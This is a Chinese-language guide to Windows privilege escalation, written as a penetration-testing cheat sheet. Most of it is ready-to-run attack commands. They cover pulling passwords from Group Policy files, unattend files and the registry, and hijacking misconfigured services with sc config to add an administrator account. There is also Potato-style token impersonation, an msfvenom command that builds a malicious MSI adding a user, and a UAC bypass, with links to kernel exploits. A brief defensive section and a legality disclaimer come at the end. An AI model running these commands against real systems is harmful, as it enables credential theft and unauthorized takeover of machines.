Windows提权技术完全指南:从基础到高级实战
Windows提权技术完全指南:从基础到高级实战
一、前言:Windows提权基础概念
Windows提权是指攻击者通过各种技术手段,从普通用户权限提升至更高权限(如SYSTEM或管理员)的过程。这是渗透测试和后渗透阶段的关键环节,也是红队评估中不可或缺的技能。
本指南将系统性地介绍Windows提权技术,涵盖从基础信息收集到高级提权技巧的全套方法,并提供可直接使用的命令和工具推荐。
二、信息收集:提权前的侦查工作
1. 系统信息枚举
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic os get lastbootuptime
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
2. 用户与权限信息
# 当前用户信息
whoami /priv
whoami /groups
whoami /all# 系统用户枚举
net user
net localgroup
net localgroup administrators
Get-LocalUser | ft Name,Enabled,LastLogon
3. 网络配置检查
ipconfig /all
route print
arp -A
netstat -ano
netsh advfirewall firewall show rule name=all
三、密码提取技术实战
1. 组策略首选项(GPP)密码提取
# 查找Groups.xml文件
dir C:\ProgramData\Microsoft\Group Policy\History\*.xml /s
dir \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\*.xml /s# 解密找到的cpassword值
# 可使用Kali中的gpp-decrypt工具
2. 无人值守安装文件中的凭据
dir /s *unattend.xml *sysprep.xml 2>nul
# 常见位置:
C:\Windows\Panther\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
3. 注册表中的密码
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
四、服务提权技术详解
1. 服务配置错误利用
未加引号的服务路径
# 使用PowerUp检测
Import-Module .\PowerUp.ps1
Get-ServiceUnquoted# 手动检测
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
可写服务路径
# 使用accesschk检查权限
accesschk.exe -uwcqv "Everyone" * -accepteula
accesschk.exe -uwcqv "Authenticated Users" *
2. 服务二进制替换
sc config "vulnservice" binPath= "net localgroup administrators hacker /add"
sc start vulnservice
五、令牌模拟与权限滥用
1. Potato系列提权
# JuicyPotato使用示例
JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}# RottenPotatoNG
execute -Hc -f ./rot.exe
impersonate_token "NT AUTHORITY\SYSTEM"
2. 令牌操纵
Invoke-TokenManipulation -Enumerate
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
六、内核漏洞提权实战
1. 补丁枚举与漏洞识别
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 使用Windows-Exploit-Suggester匹配漏洞
2. 常见内核漏洞利用
# MS16-032 (需要已存在一个特权进程)
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032# CVE-2018-8120
https://github.com/unamer/CVE-2018-8120
七、其他高级提权技术
1. DLL劫持
# 使用Process Monitor查找缺失的DLL
# 然后创建恶意DLL放置到优先搜索路径中
2. AlwaysInstallElevated利用
# 检查注册表设置
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated# 生成恶意MSI
msfvenom -p windows/adduser USER=hacker PASS=Password123! -f msi -o evil.msi
3. UAC绕过技术
# EventVwrBypass
Invoke-EventVwrBypass -Command "net localgroup administrators hacker /add"# UACME项目中的多种技术
https://github.com/hfiref0x/UACME
八、防御建议与缓解措施
-
权限最小化原则:
- 严格限制用户权限
- 避免使用域管理员账户进行日常操作
-
服务安全配置:
- 确保所有服务路径都正确引用
- 定期审计服务权限
-
补丁管理:
- 及时安装安全更新
- 特别关注已知的内核漏洞补丁
-
监控与审计:
- 启用详细日志记录
- 监控可疑的提权行为
九、总结与资源推荐
Windows提权技术多种多样,攻击面广泛。本文涵盖了从基础到高级的主流提权方法,但在实际环境中需要根据具体情况灵活运用。
推荐学习资源:
- 《Windows Internals》系列书籍
- HackTricks Windows提权部分:https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
- PayloadsAllTheThings Windows提权指南:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
实用工具集合:
- Windows提权检查工具合集:https://github.com/SecWiki/windows-kernel-exploits
- PowerUp:https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
- WinPEAS:https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
记住:这些技术仅应用于合法的安全测试和防御研究,未经授权的系统渗透是违法行为。